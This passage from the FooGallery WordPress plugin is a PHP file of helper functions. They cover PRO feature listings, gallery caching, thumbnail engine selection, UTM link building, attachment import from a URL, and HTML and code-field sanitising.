        'href'    => 'https://fooplugins.com/bulk-copy-foogallery-pro/',
    );
    $demos[] = array(
        'demo'    => __( 'Albums', 'foogallery' ),
        'section' => __( 'Album Demos', 'foogallery' ),
        'href'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/wordpress-album-gallery/',
    );
    return $demos;
}

/**
 * Returns an array of the PRO features
 * @return array
 */
function foogallery_marketing_pro_features()
{
    $features[] = array(
        'feature' => __( 'Video Galleries', 'foogallery' ),
        'desc'    => __( 'Create beautiful video galleries from YouTube, Vimeo, Facebook, Wistia and more!', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/video-gallery/',
    );
    $features[] = array(
        'feature' => __( 'Media Tags + Filtering', 'foogallery' ),
        'desc'    => __( 'Assign tags to your media, which allows visitors to filter the galleries by tag.', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/filtering/',
    );
    $features[] = array(
        'feature' => __( 'More Gallery Templates', 'foogallery' ),
        'desc'    => __( '3 more awesome gallery templates, including Slider, Grid and Polaroid.', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/slider-gallery/',
    );
    $features[] = array(
        'feature' => __( 'Preset Hover Effects', 'foogallery' ),
        'desc'    => __( 'Choose from 11 beautifully designed preset hover effects.', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/hover-presets/',
    );
    $features[] = array(
        'feature' => __( 'Advanced Pagination + Infinite Scroll', 'foogallery' ),
        'desc'    => __( 'Choose from more paging types like numbered, load more or infinite scroll.', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/pagination/',
    );
    $features[] = array(
        'feature' => __( 'Animated Loading Effects', 'foogallery' ),
        'desc'    => __( 'Choose from 9 awesome animation effects to display as your galleries load.', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/foogallery-wordpress-gallery-plugin/animated-loaded-effects/',
    );
    $features[] = array(
        'feature' => __( 'Bulk Copy Settings', 'foogallery' ),
        'desc'    => __( 'Bulk copy your gallery settings to other galleries in a flash.', 'foogallery' ),
        'demo'    => 'https://fooplugins.com/bulk-copy-foogallery-pro/',
    );
    return $features;
}

/**
 * Returns the allowed post types that galleries can be attached to
 * @return array
 */
function foogallery_allowed_post_types_for_usage()
{
    return apply_filters( 'foogallery_allowed_post_types_for_attachment', array( 'post', 'page' ) );
}

/**
 * Returns true if FooGallery is in debug mode
 * @return bool
 */
function foogallery_is_debug()
{
    return foogallery_get_setting( 'enable_debugging', false );
}

/**
 * Get the current gallery in the admin
 * @param $post_gallery
 *
 * @return FooGallery|null
 */
function foogallery_admin_get_current_gallery( $post_gallery )
{
    global  $post ;
    global  $current_foogallery_admin ;
    
    if ( is_admin() && isset( $post ) ) {
        if ( !isset( $current_foogallery_admin ) || $post_gallery->ID !== $post->ID ) {
            $current_foogallery_admin = FooGallery::get( $post_gallery );
        }
        return $current_foogallery_admin;
    }
    
    return null;
}

/**
 * Takes an RGB string and returns an array of the colors
 * @param string $rgba RBG color string in the format rgb(0,0,0)
 *
 * @return array|int[]
 */
function foogallery_rgb_to_color_array( $rgba )
{
    if ( empty($rgba) ) {
        return array( 0, 0, 0 );
    }
    preg_match( '/^rgba?[\\s+]?\\([\\s+]?(\\d+)[\\s+]?,[\\s+]?(\\d+)[\\s+]?,[\\s+]?(\\d+)[\\s+]?/i', $rgba, $by_color );
    if ( count( $by_color ) >= 3 ) {
        return array( $by_color[1], $by_color[2], $by_color[3] );
    }
    //return black if there was a problem getting the color
    return array( 0, 0, 0 );
}

/**
 * Sanitize HTML to make it safe to output. Used to sanitize potentially harmful HTML used for captions
 *
 * @since 1.9.23
 *
 * @param string $text
 * @return string
 */
function foogallery_sanitize_html( $text )
{
    $safe_text = wp_kses_post( $text );
    return $safe_text;
}

/**
 * Returns true if PRO is in use
 * @return bool
 */
function foogallery_is_pro()
{
    $pro = false;
    return $pro;
}

/**
 * Safe function for encoding objects to json
 *
 * @param $value
 *
 * @return false|string
 */
function foogallery_json_encode( $value )
{
    $flags = JSON_UNESCAPED_SLASHES;
    if ( defined( 'JSON_UNESCAPED_UNICODE' ) ) {
        $flags = JSON_UNESCAPED_UNICODE | $flags;
    }
    $flags = apply_filters( 'foogallery_json_encode_flags', $flags );
    return json_encode( $value, $flags );
}

/**
 * Get a language array entry which gets a value from settings
 * @param $setting_key
 * @param $default
 *
 * @return string|false
 */
function foogallery_get_language_array_value( $setting_key, $default )
{
    $setting_value = foogallery_get_setting( $setting_key, $default );
    if ( empty($setting_value) ) {
        $setting_value = $default;
    }
    if ( $default !== $setting_value ) {
        return $setting_value;
    }
    return false;
}

/**
 * Safely returns the WP Filesystem instance for use in FooGallery
 *
 * @return WP_Filesystem_Base
 */
function foogallery_wp_filesystem()
{
    global  $wp_filesystem ;
    if ( !function_exists( 'WP_Filesystem' ) ) {
        require_once ABSPATH . 'wp-admin/includes/file.php';
    }
    if ( !WP_Filesystem( true ) ) {
        return false;
    }
    return $wp_filesystem;
}

/**
 * Returns a formatted date
 *
 * @param        $timestamp
 * @param string $format
 *
 * @return string
 */
function foogallery_format_date( $timestamp, $format = null )
{
    if ( !$format ) {
        $format = get_option( 'date_format' );
    }
    
    if ( function_exists( 'wp_date' ) ) {
        return wp_date( $format, $timestamp );
    } else {
        $datetime = date_create( '@' . $timestamp );
        $timezone = wp_timezone();
        $datetime->setTimezone( $timezone );
        return $datetime->format( $format );
    }

}

/**
 * Shortcut method to safely check if the current gallery template supports a specific feature
 *
 * e.g. panel_support, preview_support, common_fields_support, lazyload_support, paging_support, filtering_support
 *
 * @param      $feature_to_check
 * @param bool $value_to_check
 *
 * @return bool
 */
function foogallery_current_gallery_check_template_has_supported_feature( $feature_to_check, $value_to_check = true )
{
    global  $current_foogallery ;
    //get out early if there is no current gallery
    if ( !isset( $current_foogallery ) ) {
        return false;
    }
    //check if we have previously checked before recently
    
    if ( isset( $current_foogallery->supports ) && is_array( $current_foogallery->supports ) && array_key_exists( $feature_to_check, $current_foogallery->supports ) ) {
        return $current_foogallery->supports[$feature_to_check] === $value_to_check;
    } else {
        //check if we need to init the array
        if ( !isset( $current_foogallery->supports ) || !is_array( $current_foogallery->supports ) ) {
            $current_foogallery->supports = array();
        }
        
        if ( !array_key_exists( $feature_to_check, $current_foogallery->supports ) ) {
            $template_object = foogallery_get_gallery_template( $current_foogallery->gallery_template );
            
            if ( $template_object && is_array( $template_object ) && array_key_exists( $feature_to_check, $template_object ) ) {
                $current_foogallery->supports[$feature_to_check] = $template_object[$feature_to_check];
            } else {
                //this is not stored against the template config, so assume it does not have the feature support
                $current_foogallery->supports[$feature_to_check] = false;
            }
        
        }
        
        return $current_foogallery->supports[$feature_to_check] === $value_to_check;
    }

}

/**
 * Checks to see if we have a cached value stored against the current gallery
 * Certain values are cached against the gallery if they have to be done multiple times, for example for each item in the gallery
 *
 * @param $cache_key
 *
 * @return bool
 */
function foogallery_current_gallery_has_cached_value( $cache_key )
{
    global  $current_foogallery ;
    //get out early if there is no current gallery
    
    if ( !isset( $current_foogallery ) ) {
        return true;
        //this is to ensure we short-circuit having to calculate the cached value later
    }
    
    return isset( $current_foogallery->cached_values ) && is_array( $current_foogallery->cached_values ) && array_key_exists( $cache_key, $current_foogallery->cached_values );
}

/**
 * Stores a value against the current gallery
 *
 * @param $cache_key
 * @param $cache_value
 */
function foogallery_current_gallery_set_cached_value( $cache_key, $cache_value )
{
    global  $current_foogallery ;
    //get out early if there is no current gallery
    if ( !isset( $current_foogallery ) ) {
        return;
    }
    //check if we need to init the array
    if ( !isset( $current_foogallery->cached_values ) || !is_array( $current_foogallery->cached_values ) ) {
        $current_foogallery->cached_values = array();
    }
    //store the value for later use
    $current_foogallery->cached_values[$cache_key] = $cache_value;
}

/**
 * Set the value of a cached value for the current gallery
 *
 * @param $cache_value
 *
 * @return mixed
 */
function foogallery_current_gallery_get_cached_value( $cache_value )
{
    global  $current_foogallery ;
    //get out early if there is no current gallery
    if ( !isset( $current_foogallery ) ) {
        return false;
    }
    if ( isset( $current_foogallery->cached_values ) && is_array( $current_foogallery->cached_values ) && array_key_exists( $cache_value, $current_foogallery->cached_values ) ) {
        return $current_foogallery->cached_values[$cache_value];
    }
    return false;
}

/**
 * functions related to thumbnail generation within FooGallery
 */
/**
 * Returns the array of available engines
 *
 * @return array
 */
function foogallery_thumb_available_engines()
{
    $shortpixel_link = '<a href="https://shortpixel.com/otp/af/foowww" target="_blank">' . __( 'ShortPixel Adaptive Images', 'foogallery' ) . '</a>';
    $engines = array(
        'default'    => array(
        'label'       => __( 'Default', 'foogallery' ),
        'description' => __( 'The default engine used to generate locally cached thumbnails.', 'foogallery' ),
        'class'       => 'FooGallery_Thumb_Engine_Default',
    ),
        'shortpixel' => array(
        'label'       => __( 'ShortPixel', 'foogallery' ),
        'description' => sprintf( __( 'Uses %s to generate all your gallery thumbnails. They will be optimized and offloaded to the ShortPixel global CDN!', 'foogallery' ), $shortpixel_link ),
        'class'       => 'FooGallery_Thumb_Engine_Shortpixel',
    ),
    );
    if ( foogallery_is_debug() ) {
        $engines['dummy'] = array(
            'label'       => __( 'Dummy', 'foogallery' ),
            'description' => __( 'A dummy thumbnail engine that can be used for testing. (uses dummyimage.com)', 'foogallery' ),
            'class'       => 'FooGallery_Thumb_Engine_Dummy',
        );
    }
    return apply_filters( 'foogallery_thumb_available_engines', $engines );
}

/**
 * Returns the active thumb engine, based on settings
 *
 * @return FooGallery_Thumb_Engine
 */
function foogallery_thumb_active_engine()
{
    global  $foogallery_thumb_engine ;
    //if we already have an engine, return it early
    if ( isset( $foogallery_thumb_engine ) && is_a( $foogallery_thumb_engine, 'FooGallery_Thumb_Engine' ) ) {
        return $foogallery_thumb_engine;
    }
    $engine = foogallery_get_setting( 'thumb_engine', 'default' );
    $engines = foogallery_thumb_available_engines();
    
    if ( array_key_exists( $engine, $engines ) ) {
        $active_engine = $engines[$engine];
        $foogallery_thumb_engine = new $active_engine['class']();
    } else {
        $foogallery_thumb_engine = new FooGallery_Thumb_Engine_Default();
    }
    
    return $foogallery_thumb_engine;
}

/**
 * Resizes a given image using the active thumb engine.
 *
 * @param       $url
 * @param array $args
 *
 * @return string|void (string) url to the image
 */
function foogallery_thumb( $url, $args = array() )
{
    $engine = foogallery_thumb_active_engine();
    return $engine->generate( $url, $args );
}

/**
 * @param $url string
 *
 * @return string
 */
function foogallery_process_image_url( $url )
{
    return apply_filters( 'foogallery_process_image_url', $url );
}

/**
 * Build up a link to be used in the admin with the correct utm parameters
 *
 * @param      $url             string The original full URL
 * @param      $utm_campaign    string The campaign or page that the link is on
 * @param null $utm_medium      string The medium, so in this case we want to differentiate btw free and pro
 * @param null $utm_content     string Optional extra data that can be used to differentiate between links in the same campaign
 * @param      $utm_source      string The platform where the traffic originates. Should probably always be wp_plugin
 *
 * @return string
 */
function foogallery_admin_url(
    $url,
    $utm_campaign,
    $utm_content = null,
    $utm_medium = null,
    $utm_source = 'wp_plugin'
)
{
    if ( is_null( $utm_source ) ) {
        $utm_source = 'wp_plugin';
    }
    if ( is_null( $utm_medium ) ) {
        
        if ( foogallery_is_pro() ) {
            $utm_medium = 'foogallery_pro';
        } else {
            $utm_medium = 'foogallery_free';
        }
    
    }
    $params = array(
        'utm_source'   => $utm_source,
        'utm_medium'   => $utm_medium,
        'utm_campaign' => $utm_campaign,
    );
    if ( !is_null( $utm_content ) ) {
        $params['utm_content'] = $utm_content;
    }
    return add_query_arg( $params, $url );
}

/**
 * Determines the best lightbox to use for a demo gallery
 *
 * @return string
 */
function foogallery_demo_content_determine_best_lightbox()
{
    if ( foogallery_is_pro() ) {
        return 'foogallery';
    }
    return 'foobox';
}

/**
 * Returns true if on the plugin activation page
 *
 * @return bool
 */
function foogallery_is_activation_page()
{
    $fs = foogallery_fs();
    return $fs->is_activation_page();
}

/**
 * Render an array of debug info
 *
 * @param array $array an array of data to render.
 */
function foogallery_render_debug_array( $array, $level = 0 )
{
    foreach ( $array as $key => $value ) {
        
        if ( !empty($value) ) {
            if ( $level > 0 ) {
                echo  esc_html( str_repeat( '   ', $level ) ) ;
            }
            echo  esc_html( $key ) . ' => ' ;
            
            if ( is_array( $value ) ) {
                echo  "\r\n" ;
                foogallery_render_debug_array( $value, $level + 1 );
            } else {
                echo  esc_html( $value ) ;
                echo  "\r\n" ;
            }
        
        }
    
    }
}

/**
 * Insert a new attachment from a URL.
 *
 * @param array $attachment_data The image attachment data.
 *
 * @return false|int|WP_Error
 */
function foogallery_import_attachment( $attachment_data )
{
    // Include image.php so we can call wp_generate_attachment_metadata().
    require_once ABSPATH . 'wp-admin/includes/image.php';
    // Get the contents of the picture.
    $response = wp_remote_get( $attachment_data['url'] );
    if ( is_wp_error( $response ) ) {
        return $response;
    }
    $contents = wp_remote_retrieve_body( $response );
    // Upload and get file data.
    $upload = wp_upload_bits( basename( $attachment_data['url'] ), null, $contents );
    if ( array_key_exists( 'error', $upload ) && false !== $upload['error'] ) {
        return new WP_Error( 'foogallery_import_attachment_upload_fail', $upload['error'] );
    }
    $guid = $upload['url'];
    $file = $upload['file'];
    $file_type = wp_check_filetype( basename( $file ), null );
    // Create attachment.
    $attachment_args = array(
        'ID'             => 0,
        'guid'           => $guid,
        'post_title'     => $attachment_data['title'],
        'post_excerpt'   => $attachment_data['caption'],
        'post_content'   => ( isset( $attachment_data['description'] ) ? $attachment_data['description'] : '' ),
        'post_date'      => '',
        'post_mime_type' => ( isset( $attachment_data['mime_type'] ) ? $attachment_data['mime_type'] : $file_type['type'] ),
    );
    $attachment_args['meta_input'] = array();
    if ( isset( $attachment_data['alt'] ) && !empty($attachment_data['alt']) ) {
        $attachment_args['meta_input']['_wp_attachment_image_alt'] = $attachment_data['alt'];
    }
    if ( isset( $attachment_data['custom_url'] ) && !empty($attachment_data['custom_url']) ) {
        $attachment_args['meta_input']['_foogallery_custom_url'] = $attachment_data['custom_url'];
    }
    if ( isset( $attachment_data['custom_target'] ) && !empty($attachment_data['custom_target']) ) {
        $attachment_args['meta_input']['_foogallery_custom_target'] = $attachment_data['custom_target'];
    }
    // Save the original URL, so that we do not import it again!
    $attachment_args['meta_input']['_foogallery_imported_from'] = $attachment_data['url'];
    // Insert the attachment.
    $attachment_id = wp_insert_attachment(
        $attachment_args,
        $file,
        0,
        true
    );
    if ( is_wp_error( $attachment_id ) ) {
        return $attachment_id;
    }
    $attachment_meta = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_meta );
    if ( isset( $attachment_data['tags'] ) && is_array( $attachment_data['tags'] ) && count( $attachment_data['tags'] ) > 0 ) {
        if ( taxonomy_exists( FOOGALLERY_ATTACHMENT_TAXONOMY_TAG ) ) {
            // Save tags.
            wp_set_object_terms(
                $attachment_id,
                $attachment_data['tags'],
                FOOGALLERY_ATTACHMENT_TAXONOMY_TAG,
                false
            );
        }
    }
    if ( isset( $attachment_data['categories'] ) && is_array( $attachment_data['categories'] ) && count( $attachment_data['categories'] ) > 0 ) {
        if ( taxonomy_exists( FOOGALLERY_ATTACHMENT_TAXONOMY_CATEGORY ) ) {
            // Save categories.
            wp_set_object_terms(
                $attachment_id,
                $attachment_data['categories'],
                FOOGALLERY_ATTACHMENT_TAXONOMY_CATEGORY,
                false
            );
        }
    }
    return $attachment_id;
}

/**
 * Returns an array of data associated with the attachment, including full size image URL, full size width and height.
 *
 * @param int $attachment_id The attachment ID.
 *
 * @return array|false
 */
function foogallery_get_full_size_image_data( $attachment_id )
{
    // Get the URL to the full size image.
    $src = wp_get_attachment_url( $attachment_id );
    // If we cannot get an attachment URL, then get out early.
    if ( false === $src ) {
        return false;
    }
    // First try to get the image metadata.
    $image_data = wp_get_attachment_metadata( $attachment_id );
    if ( !is_array( $image_data ) ) {
        $image_data = wp_get_attachment_image_src( $attachment_id, 'full' );
    }
    
    if ( is_array( $image_data ) ) {
        $width = $image_data['width'];
        $height = $image_data['height'];
    } else {
        // If nothing is stored in meta, then get the size from the physical file. Not ideal, but might be needed in some cases.
        list( $width, $height ) = wp_getimagesize( $src );
    }
    
    return array( $src, $width, $height );
}

/**
 * Generate an SVG image placeholder
 *
 * @param $w
 * @param $h
 *
 * @return string
 */
function foogallery_get_svg_placeholder_image( $w, $h )
{
    return 'data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22' . $w . '%22%20height%3D%22' . $h . '%22%20viewBox%3D%220%200%20' . $w . '%20' . $h . '%22%3E%3C%2Fsvg%3E';
}

/**
 * Extracts the gallery ID from a full gallery ID
 *
 * @param $full_gallery_id
 *
 * @return int
 */
function foogallery_extract_gallery_id( $full_gallery_id )
{
    preg_match_all( '/^.*?(\\d+?)(?:_|$)/', $full_gallery_id, $matches );
    if ( is_array( $matches ) ) {
        return intval( $matches[1][0] );
    }
    return 0;
}

/**
 * Return the index of a specific section with the gallery template fields array
 *
 * @param $fields
 * @param $section
 *
 * @return int
 */
function foogallery_admin_fields_find_index_of_section( $fields, $section )
{
    $index = 0;
    foreach ( $fields as $field ) {
        if ( isset( $field['section'] ) && $section === $field['section'] ) {
            return $index;
        }
        $index++;
    }
    return $index;
}

/**
 * Return the index of a specific field within the gallery template fields array
 *
 * @param $fields
 * @param $field_id
 *
 * @return int
 */
function foogallery_admin_fields_find_index_of_field( $fields, $field_id )
{
    $index = 0;
    foreach ( $fields as $field ) {
        if ( isset( $field['id'] ) && $field_id === $field['id'] ) {
            return $index;
        }
        $index++;
    }
    return $index;
}

/**
 * Returns the path of the URL
 *
 * @param $url
 *
 * @return false|string
 */
function foogallery_local_url_to_path( $url )
{
    return FooGallery_Thumb_Generator::get_file_path( $url );
}

/**
 * Sanitizes a code field for saving to the database.
 *
 * @param string $text
 *
 * @return false|string
 */
function foogallery_sanitize_code( $text )
{
    
    if ( !empty($text) ) {
        $text = wp_check_invalid_utf8( $text, true );
        $text = htmlentities( $text );
        return apply_filters( 'foogallery_sanitize_code', $text );
    }
    
    return false;
}

/**
 * Prepares a code field for use after it has been sanitized.
 *
 * @param string $text
 *
 * @return false|string
 */
function foogallery_prepare_code( $text )
{
    
    if ( !empty($text) ) {
        $text = html_entity_decode( $text );
        return apply_filters( 'foogallery_prepare_code', $text );
    }
    
    return false;
}